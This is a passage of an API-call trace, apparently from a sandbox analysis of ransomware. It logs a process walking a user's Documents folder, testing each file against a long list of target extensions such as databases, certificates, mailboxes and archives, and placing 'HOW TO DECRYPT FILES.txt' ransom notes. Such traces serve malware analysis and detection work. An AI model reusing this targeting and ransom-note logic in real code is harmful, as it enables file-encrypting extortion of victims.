HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.java") returned 0 [0089.351] lstrlenA (lpString="*.java") returned 6 [0089.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.asm") returned 0 [0089.351] lstrlenA (lpString="*.asm") returned 5 [0089.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.pfx") returned 0 [0089.351] lstrlenA (lpString="*.pfx") returned 5 [0089.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.pem") returned 0 [0089.351] lstrlenA (lpString="*.pem") returned 5 [0089.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.p12") returned 0 [0089.352] lstrlenA (lpString="*.p12") returned 5 [0089.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.gpg") returned 0 [0089.352] lstrlenA (lpString="*.gpg") returned 5 [0089.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.vsd") returned 0 [0089.352] lstrlenA (lpString="*.vsd") returned 5 [0089.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.odg") returned 0 [0089.352] lstrlenA (lpString="*.odg") returned 5 [0089.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.raw") returned 0 [0089.352] lstrlenA (lpString="*.raw") returned 5 [0089.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.nef") returned 0 [0089.352] lstrlenA (lpString="*.nef") returned 5 [0089.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.svg") returned 0 [0089.352] lstrlenA (lpString="*.svg") returned 5 [0089.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.psd") returned 0 [0089.352] lstrlenA (lpString="*.psd") returned 5 [0089.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.vmx") returned 0 [0089.352] lstrlenA (lpString="*.vmx") returned 5 [0089.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.vmdk") returned 0 [0089.353] lstrlenA (lpString="*.vmdk") returned 6 [0089.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.vdi") returned 0 [0089.353] lstrlenA (lpString="*.vdi") returned 5 [0089.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.lay6") returned 0 [0089.353] lstrlenA (lpString="*.lay6") returned 6 [0089.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.mpeg") returned 0 [0089.353] lstrlenA (lpString="*.mpeg") returned 6 [0089.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.djvu") returned 0 [0089.353] lstrlenA (lpString="*.djvu") returned 6 [0089.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.tiff") returned 0 [0089.353] lstrlenA (lpString="*.tiff") returned 6 [0089.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.backup") returned 0 [0089.353] lstrlenA (lpString="*.backup") returned 8 [0089.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.pdf") returned 0 [0089.353] lstrlenA (lpString="*.pdf") returned 5 [0089.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.cert") returned 0 [0089.353] lstrlenA (lpString="*.cert") returned 6 [0089.354] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.docm") returned 0 [0089.355] lstrlenA (lpString="*.docm") returned 6 [0089.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.xlsm") returned 0 [0089.355] lstrlenA (lpString="*.xlsm") returned 6 [0089.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.dwg") returned 0 [0089.355] lstrlenA (lpString="*.dwg") returned 5 [0089.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.nd") returned 0 [0089.355] lstrlenA (lpString="*.nd") returned 4 [0089.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.tlg") returned 0 [0089.355] lstrlenA (lpString="*.tlg") returned 5 [0089.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.lgb") returned 0 [0089.355] lstrlenA (lpString="*.lgb") returned 5 [0089.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.mov") returned 0 [0089.355] lstrlenA (lpString="*.mov") returned 5 [0089.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.xdw") returned 0 [0089.355] lstrlenA (lpString="*.xdw") returned 5 [0089.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.ods") returned 0 [0089.355] lstrlenA (lpString="*.ods") returned 5 [0089.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.wav") returned 0 [0089.356] lstrlenA (lpString="*.wav") returned 5 [0089.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.mp3") returned 0 [0089.356] lstrlenA (lpString="*.mp3") returned 5 [0089.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.aiff") returned 0 [0089.356] lstrlenA (lpString="*.aiff") returned 6 [0089.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.flac") returned 0 [0089.356] lstrlenA (lpString="*.flac") returned 6 [0089.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.m4a") returned 0 [0089.356] lstrlenA (lpString="*.m4a") returned 5 [0089.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp", pszSpec="*.csv") returned 0 [0089.356] lstrlenA (lpString="*.csv") returned 5 [0089.356] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca73150, ftCreationTime.dwHighDateTime=0x1d5d95b, ftLastAccessTime.dwLowDateTime=0x31dc9300, ftLastAccessTime.dwHighDateTime=0x1d5d89a, ftLastWriteTime.dwLowDateTime=0x31dc9300, ftLastWriteTime.dwHighDateTime=0x1d5d89a, nFileSizeHigh=0x0, nFileSizeLow=0x12172, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelGXT.pdf", cAlternateFileName="")) returned 1 [0089.356] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0089.356] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WelGXT.pdf") returned -1 [0089.356] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WelGXT.pdf") returned -1 [0089.356] lstrcmpiA (lpString1="", lpString2="WelGXT.pdf") returned -1 [0089.356] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\vYM6ld.odp") returned="vYM6ld.odp" [0089.357] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\" [0089.357] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\") returned="" [0089.357] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\HOW TO DECRYPT FILES.txt" [0089.357] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\im5pbdzl_0mb2goz6\\how to decrypt files.txt")) returned 0x20 [0089.357] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\", lpString2="WelGXT.pdf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf" [0089.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.ems") returned 0 [0089.357] lstrlenA (lpString="*.ems") returned 5 [0089.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.db") returned 0 [0089.357] lstrlenA (lpString="*.db") returned 4 [0089.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.dbf") returned 0 [0089.357] lstrlenA (lpString="*.dbf") returned 5 [0089.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.myox") returned 0 [0089.357] lstrlenA (lpString="*.myox") returned 6 [0089.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.myo") returned 0 [0089.357] lstrlenA (lpString="*.myo") returned 5 [0089.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.qbw") returned 0 [0089.358] lstrlenA (lpString="*.qbw") returned 5 [0089.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.qbb") returned 0 [0089.358] lstrlenA (lpString="*.qbb") returned 5 [0089.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.qbm") returned 0 [0089.358] lstrlenA (lpString="*.qbm") returned 5 [0089.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.qbo") returned 0 [0089.358] lstrlenA (lpString="*.qbo") returned 5 [0089.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.qbx") returned 0 [0089.358] lstrlenA (lpString="*.qbx") returned 5 [0089.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.qba") returned 0 [0089.358] lstrlenA (lpString="*.qba") returned 5 [0089.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.qby") returned 0 [0089.358] lstrlenA (lpString="*.qby") returned 5 [0089.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.qbj") returned 0 [0089.358] lstrlenA (lpString="*.qbj") returned 5 [0089.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.ofx") returned 0 [0089.359] lstrlenA (lpString="*.ofx") returned 5 [0089.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.qif") returned 0 [0089.359] lstrlenA (lpString="*.qif") returned 5 [0089.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.mye") returned 0 [0089.359] lstrlenA (lpString="*.mye") returned 5 [0089.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.mbox") returned 0 [0089.359] lstrlenA (lpString="*.mbox") returned 6 [0089.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.eml") returned 0 [0089.359] lstrlenA (lpString="*.eml") returned 5 [0089.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.pst") returned 0 [0089.359] lstrlenA (lpString="*.pst") returned 5 [0089.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.ost") returned 0 [0089.359] lstrlenA (lpString="*.ost") returned 5 [0089.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.idx") returned 0 [0089.359] lstrlenA (lpString="*.idx") returned 5 [0089.359] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.dbx") returned 0 [0089.359] lstrlenA (lpString="*.dbx") returned 5 [0089.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.sql") returned 0 [0089.360] lstrlenA (lpString="*.sql") returned 5 [0089.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.mdb") returned 0 [0089.360] lstrlenA (lpString="*.mdb") returned 5 [0089.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.fdb") returned 0 [0089.360] lstrlenA (lpString="*.fdb") returned 5 [0089.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.wab") returned 0 [0089.360] lstrlenA (lpString="*.wab") returned 5 [0089.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.dat") returned 0 [0089.360] lstrlenA (lpString="*.dat") returned 5 [0089.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.txt") returned 0 [0089.360] lstrlenA (lpString="*.txt") returned 5 [0089.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.jpeg") returned 0 [0089.360] lstrlenA (lpString="*.jpeg") returned 6 [0089.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.jpg") returned 0 [0089.360] lstrlenA (lpString="*.jpg") returned 5 [0089.360] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.png") returned 0 [0089.361] lstrlenA (lpString="*.png") returned 5 [0089.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.php") returned 0 [0089.361] lstrlenA (lpString="*.php") returned 5 [0089.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.cs") returned 0 [0089.361] lstrlenA (lpString="*.cs") returned 4 [0089.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.cpp") returned 0 [0089.361] lstrlenA (lpString="*.cpp") returned 5 [0089.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.rar") returned 0 [0089.361] lstrlenA (lpString="*.rar") returned 5 [0089.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.zip") returned 0 [0089.361] lstrlenA (lpString="*.zip") returned 5 [0089.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.html") returned 0 [0089.361] lstrlenA (lpString="*.html") returned 6 [0089.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.htm") returned 0 [0089.361] lstrlenA (lpString="*.htm") returned 5 [0089.361] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.xlsx") returned 0 [0089.361] lstrlenA (lpString="*.xlsx") returned 6 [0089.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.xls") returned 0 [0089.362] lstrlenA (lpString="*.xls") returned 5 [0089.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.mp4") returned 0 [0089.362] lstrlenA (lpString="*.mp4") returned 5 [0089.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.ppt") returned 0 [0089.362] lstrlenA (lpString="*.ppt") returned 5 [0089.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.pptx") returned 0 [0089.362] lstrlenA (lpString="*.pptx") returned 6 [0089.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.doc") returned 0 [0089.362] lstrlenA (lpString="*.doc") returned 5 [0089.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.dot") returned 0 [0089.362] lstrlenA (lpString="*.dot") returned 5 [0089.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.docx") returned 0 [0089.362] lstrlenA (lpString="*.docx") returned 6 [0089.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.7z") returned 0 [0089.362] lstrlenA (lpString="*.7z") returned 4 [0089.362] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.tar") returned 0 [0089.363] lstrlenA (lpString="*.tar") returned 5 [0089.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.bz2") returned 0 [0089.363] lstrlenA (lpString="*.bz2") returned 5 [0089.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.gz") returned 0 [0089.363] lstrlenA (lpString="*.gz") returned 4 [0089.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.mkv") returned 0 [0089.363] lstrlenA (lpString="*.mkv") returned 5 [0089.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.eml") returned 0 [0089.363] lstrlenA (lpString="*.eml") returned 5 [0089.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.msg") returned 0 [0089.363] lstrlenA (lpString="*.msg") returned 5 [0089.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.edb") returned 0 [0089.363] lstrlenA (lpString="*.edb") returned 5 [0089.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.accdb") returned 0 [0089.363] lstrlenA (lpString="*.accdb") returned 7 [0089.363] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.odb") returned 0 [0089.363] lstrlenA (lpString="*.odb") returned 5 [0089.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.java") returned 0 [0089.364] lstrlenA (lpString="*.java") returned 6 [0089.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.asm") returned 0 [0089.364] lstrlenA (lpString="*.asm") returned 5 [0089.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.pfx") returned 0 [0089.364] lstrlenA (lpString="*.pfx") returned 5 [0089.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.pem") returned 0 [0089.364] lstrlenA (lpString="*.pem") returned 5 [0089.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.p12") returned 0 [0089.364] lstrlenA (lpString="*.p12") returned 5 [0089.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.gpg") returned 0 [0089.364] lstrlenA (lpString="*.gpg") returned 5 [0089.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.vsd") returned 0 [0089.364] lstrlenA (lpString="*.vsd") returned 5 [0089.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.odg") returned 0 [0089.364] lstrlenA (lpString="*.odg") returned 5 [0089.364] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.raw") returned 0 [0089.365] lstrlenA (lpString="*.raw") returned 5 [0089.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.nef") returned 0 [0089.365] lstrlenA (lpString="*.nef") returned 5 [0089.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.svg") returned 0 [0089.365] lstrlenA (lpString="*.svg") returned 5 [0089.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\im5PbdZL_0mB2gOZ6\\WelGXT.pdf", pszSpec="*.psd") returned 0 [0089.365] lstrlenA (lpString="*.psd") returned 5 [0089.365] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 